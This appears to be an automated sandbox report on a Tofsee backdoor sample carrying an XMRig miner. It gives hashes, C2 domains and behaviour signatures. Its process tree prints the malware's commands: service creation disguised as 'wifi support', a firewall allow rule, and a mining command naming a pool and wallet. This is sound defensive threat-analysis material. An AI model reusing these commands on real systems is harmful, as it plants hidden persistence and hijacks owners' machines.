Analysis

  • max time kernel
    140s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13-10-2023 02:45

General

  • Target

    73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9_JC.exe

  • Size

    297KB

  • MD5

    1ab849ba4b59fab219240e6ef3a12841

  • SHA1

    cd43cd82a2bc002dd8c5a7f1ada058818341aea4

  • SHA256

    73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9

  • SHA512

    09d17509344ee0ac5d3f6f78467e53c6f1a79db937566a2f07360670fb3593797530c198b0146e8e254760c60aa41662f2afacb2c3c9970ea631a8bd876b96b6

  • SSDEEP

    3072:xoKwfymXE5cUutNI6SaRccigNrBjFqvekh76pau1UyQ2zRuNw7K7vT:2KQXE5cfNCEjNrBRkZzyQi70

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\aspnhbxx\
      2⤵
        PID:3044
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\shzgljog.exe" C:\Windows\SysWOW64\aspnhbxx\
        2⤵
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create aspnhbxx binPath= "C:\Windows\SysWOW64\aspnhbxx\shzgljog.exe /d\"C:\Users\Admin\AppData\Local\Temp\73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description aspnhbxx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start aspnhbxx
          2⤵
          • Launches sc.exe
          PID:2728
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2600
      • C:\Windows\SysWOW64\aspnhbxx\shzgljog.exe
        C:\Windows\SysWOW64\aspnhbxx\shzgljog.exe /d"C:\Users\Admin\AppData\Local\Temp\73bc2a5606719ce5ea752587bff5ab2a63e3de96ef28d33be7bbc9be7cfd3be9_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2508
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1380

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\shzgljog.exe

        Filesize

        14.3MB

        MD5

        ca8c5464d595bb3c155b0a8540d75bea

        SHA1

        b4e5f6399692fbb657037c6779543ce2aa6acd96

        SHA256

        03da787d379908f322e118ed58fb46428cc789d36c83a001687379beaecd8cd6

        SHA512

        8ad07fd87800e54bc5d862cd86c1ca2f7e8f2fd0b159e7a42ae1b7d9ef6ab8d5521ed29a97b6833428cc32a2963ab2009a3bce081e9751ca51862164ce40488e

      • C:\Windows\SysWOW64\aspnhbxx\shzgljog.exe

        Filesize

        14.3MB

        MD5

        ca8c5464d595bb3c155b0a8540d75bea

        SHA1

        b4e5f6399692fbb657037c6779543ce2aa6acd96

        SHA256

        03da787d379908f322e118ed58fb46428cc789d36c83a001687379beaecd8cd6

        SHA512

        8ad07fd87800e54bc5d862cd86c1ca2f7e8f2fd0b159e7a42ae1b7d9ef6ab8d5521ed29a97b6833428cc32a2963ab2009a3bce081e9751ca51862164ce40488e

      • memory/1380-78-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-75-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-63-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-64-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1380-72-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-73-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-74-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-76-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/1380-77-0x00000000001F0000-0x00000000002E1000-memory.dmp

        Filesize

        964KB

      • memory/2036-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2036-1-0x00000000008B0000-0x00000000009B0000-memory.dmp

        Filesize

        1024KB

      • memory/2036-4-0x0000000000400000-0x0000000000718000-memory.dmp

        Filesize

        3.1MB

      • memory/2036-7-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2036-6-0x0000000000400000-0x0000000000718000-memory.dmp

        Filesize

        3.1MB

      • memory/2428-40-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-48-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-31-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-34-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-35-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-36-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-37-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-38-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-39-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-27-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2428-41-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-42-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-43-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-44-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-45-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-46-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-47-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-28-0x0000000000190000-0x0000000000196000-memory.dmp

        Filesize

        24KB

      • memory/2428-49-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-50-0x00000000001B0000-0x00000000001C0000-memory.dmp

        Filesize

        64KB

      • memory/2428-51-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2428-54-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

      • memory/2428-55-0x00000000055A0000-0x00000000059AB000-memory.dmp

        Filesize

        4.0MB

      • memory/2428-58-0x00000000055A0000-0x00000000059AB000-memory.dmp

        Filesize

        4.0MB

      • memory/2428-59-0x0000000000630000-0x0000000000637000-memory.dmp

        Filesize

        28KB

      • memory/2428-24-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2428-23-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2428-21-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2428-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2428-20-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2428-15-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2428-11-0x0000000000100000-0x0000000000115000-memory.dmp

        Filesize

        84KB

      • memory/2508-10-0x00000000007C0000-0x00000000008C0000-memory.dmp

        Filesize

        1024KB

      • memory/2508-12-0x0000000000400000-0x0000000000718000-memory.dmp

        Filesize

        3.1MB

      • memory/2508-17-0x0000000000400000-0x0000000000718000-memory.dmp

        Filesize

        3.1MB